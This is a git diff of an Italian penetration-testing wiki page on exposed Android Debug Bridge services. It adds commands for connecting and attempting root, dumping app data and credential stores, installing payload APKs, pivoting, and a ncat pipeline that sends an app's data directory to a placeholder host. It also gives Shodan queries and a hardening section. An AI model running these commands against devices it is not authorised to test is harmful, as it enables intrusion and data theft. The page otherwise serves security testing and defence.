diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md
index 4a384765f..31cf947e2 100644
--- a/src/network-services-pentesting/5555-android-debug-bridge.md
+++ b/src/network-services-pentesting/5555-android-debug-bridge.md
@@ -4,42 +4,143 @@
 
 ## Informazioni di base
 
-Da [la documentazione](https://developer.android.com/studio/command-line/adb):
+Dai [documenti](https://developer.android.com/studio/command-line/adb):
 
-**Android Debug Bridge** (adb) è uno strumento versatile da riga di comando che consente di comunicare con un dispositivo. Il comando adb facilita una varietà di azioni sul dispositivo, come **l'installazione e il debug delle app**, e fornisce **accesso a una shell Unix** che puoi utilizzare per eseguire una varietà di comandi su un dispositivo.
+Android Debug Bridge (adb) è uno strumento da riga di comando per comunicare con dispositivi e emulatori basati su Android. Le azioni tipiche includono l'installazione di pacchetti, il debug e l'ottenimento di una shell Unix interattiva sul dispositivo.
 
-**Porta predefinita**: 5555.
+- Porta TCP predefinita storica: 5555 (modalità "adb tcpip" classica).
+- Il debug wireless moderno (Android 11+) utilizza il pairing TLS e la scoperta del servizio mDNS. La porta di connessione è dinamica e scoperta tramite mDNS; potrebbe non essere 5555. Il pairing avviene con adb pair host:port seguito da adb connect. Vedi le note qui sotto per le implicazioni offensive.
+
+Esempio di fingerprint nmap:
 ```
 PORT     STATE SERVICE VERSION
 5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
 ```
 ## Connetti
 
-Se trovi il servizio ADB in esecuzione su una porta di un dispositivo e puoi connetterti ad esso, **puoi ottenere una shell all'interno del sistema:**
+Se trovi ADB esposto e raggiungibile, prova a connetterti e a enumerare rapidamente:
 ```bash
-adb connect 10.10.10.10
-adb root # Try to escalate to root
-adb shell
+adb connect <ip>[:<port>]      # Default is 5555 for classic mode
+adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
+adb shell                      # Get an interactive shell (uid usually shell)
+whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
+adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
 ```
-Per ulteriori comandi ADB controlla la seguente pagina:
+- Se il dispositivo impone l'autenticazione ADB (ro.adb.secure=1), dovrai essere pre-autorizzato (autenticazione USB RSA) o utilizzare il pairing di debug wireless di Android 11+ (che richiede un codice una tantum visualizzato sul dispositivo).
+- Alcune immagini dei fornitori, build engineering/userdebug, emulatori, TV, STB e kit di sviluppo espongono adbd senza autenticazione o con adbd in esecuzione come root. In questi casi, di solito atterrerai direttamente in una shell o in una shell root.
+
+Per un riferimento generale ai comandi ADB, vedere:
 
 {{#ref}}
 ../mobile-pentesting/android-app-pentesting/adb-commands.md
 {{#endref}}
 
-### Dump App data
+## Quick Post-Exploitation
 
-Per scaricare completamente i dati di un'applicazione puoi:
+Una volta che hai la shell, verifica i privilegi e il contesto SELinux:
 ```bash
-# From a root console
-chmod 777 /data/data/com.package
-cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
-adb pull "/sdcard/com.package"
+id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
 ```
-Puoi usare questo trucco per **recuperare informazioni sensibili come le password di chrome**. Per ulteriori informazioni su questo, controlla le informazioni e i riferimenti forniti [**qui**](https://github.com/carlospolop/hacktricks/issues/274).
+### Enumerare e catturare dati
+
+- Elenca app di terze parti e percorsi:
+```bash
+pm list packages -3
+pm path <pkg>
+```
+- Se hai i permessi di root (adb root o su funzionano), puoi accedere direttamente a /data. In caso contrario, preferisci run-as per app debuggabili:
+```bash
+# Senza root, per un'app debuggabile
+run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
+
+# Con root
+cp -a /data/data/<pkg> /sdcard/<pkg>
+exit
+adb pull "/sdcard/<pkg>"
+```
+- Artefatti di sistema utili (richiesto root):
+- /data/system/users/0/accounts.db e dati relativi a AccountManager
+- /data/misc/wifi/ (configurazioni/chiavi di rete su versioni più vecchie)
+- DB SQLite specifici dell'app e shared_prefs sotto /data/data/<pkg>
+
+Puoi usare questo per recuperare informazioni sensibili (ad es., segreti dell'app). Per note sulle considerazioni sui dati di Chrome, vedi il problema menzionato [qui](https://github.com/carlospolop/hacktricks/issues/274).
+
+### Esecuzione di codice e consegna di payload
+
+- Installa e concedi automaticamente permessi di runtime:
+```bash
+adb install -r -g payload.apk         # -g concede tutti i permessi di runtime dichiarati nel manifest
+adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
+```
+- Avvia attività/servizi/broadcast direttamente:
+```bash
+adb shell am start -n <pkg>/<activity>
+adb shell am startservice -n <pkg>/<service>
+adb shell am broadcast -a <action>
+```
+
+### Port forwarding e pivoting
+
+Anche senza root, adb può inoltrare porte locali a porte del dispositivo e viceversa. Questo è utile per accedere a servizi legati localmente sul dispositivo o per esporre servizi dell'attaccante al dispositivo.
+
+- Inoltra host->dispositivo (accedi a un servizio locale del dispositivo dal tuo host):
+```bash
+adb forward tcp:2222 tcp:22       # Se il dispositivo esegue SSH (ad es., Termux/Dropbear)
+adb forward tcp:8081 tcp:8080     # Esporre il server di debug locale dell'app
+```
+- Inverso dispositivo->host (consenti al dispositivo di raggiungere un servizio sul tuo host):
+```bash
+adb reverse tcp:1080 tcp:1080     # Le app del dispositivo possono ora raggiungere host:1080 come 127.0.0.1:1080
+```
+- Esfiltrazione di file tramite socket (senza scritture su sdcard):
+```bash
+# Sul host: ascolta
+ncat -lvp 9000 > dump.tar
+# Sul dispositivo: invia la directory come tar (root o run-as come applicabile)
+adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
+```
+
+## Debugging Wireless (Android 11+)
+
+Android moderno implementa il debugging wireless protetto da TLS con accoppiamento lato dispositivo e scoperta mDNS:
+```bash
+# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
+# On attacker host (same L2 network, mDNS allowed):
+adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
+adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
+adb connect <device_ip>:<conn_port>
+```
+Note
+- Le porte sono dinamiche; non assumere 5555. I nomi dei servizi mDNS sembrano:
+- _adb-tls-pairing._tcp (accoppiamento)
+- _adb-tls-connect._tcp (connessione accoppiata)
+- _adb._tcp (legacy/plain)
+- Se mDNS è filtrato, l'abilitazione classica assistita da USB potrebbe ancora funzionare su alcune build: `adb tcpip 5555` poi `adb connect <ip>:5555` (fino al riavvio).
+
+Implicazioni offensive: se puoi interagire con l'interfaccia utente del dispositivo (ad esempio, accesso fisico o configurazione errata di MDM mobile) per abilitare il debug wireless e visualizzare il codice di accoppiamento, puoi stabilire un canale ADB accoppiato a lungo termine senza cavo. Alcuni OEM espongono ADB su TCP in immagini di ingegneria/sviluppo senza accoppiamento—controlla sempre.
+
+## Indurimento / Rilevamento
+
+I difensori dovrebbero assumere che qualsiasi adbd (TCP) raggiungibile rappresenti un rischio critico.
+
+- Disabilita ADB e il debug wireless quando non necessario. Revoca le autorizzazioni di debug USB nelle opzioni per sviluppatori.
+- Assicurati che la politica di rete blocchi il TCP/5555 in entrata e la scoperta ADB basata su mDNS su segmenti non fidati.
+- Su dispositivi sotto il tuo controllo:
+```bash
+settings put global adb_enabled 0
+setprop service.adb.tcp.port -1   # disabilita l'ascolto TCP (o usa: adb usb)
+stop adbd; start adbd             # riavvia il demone
+```
+- Monitora i record mDNS `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` sulle reti aziendali e allerta per ascoltatori 5555 inaspettati.
+- Inventario per build insicure: `getprop ro.debuggable`, `ro.build.type`, e `ro.adb.secure`.
 
 ## Shodan
 
-- `android debug bridge`
+- android debug bridge
+- port:5555 product:"Android Debug Bridge"
 
+## Riferimenti
+
+- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
+- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
 {{#include ../banners/hacktricks-training.md}}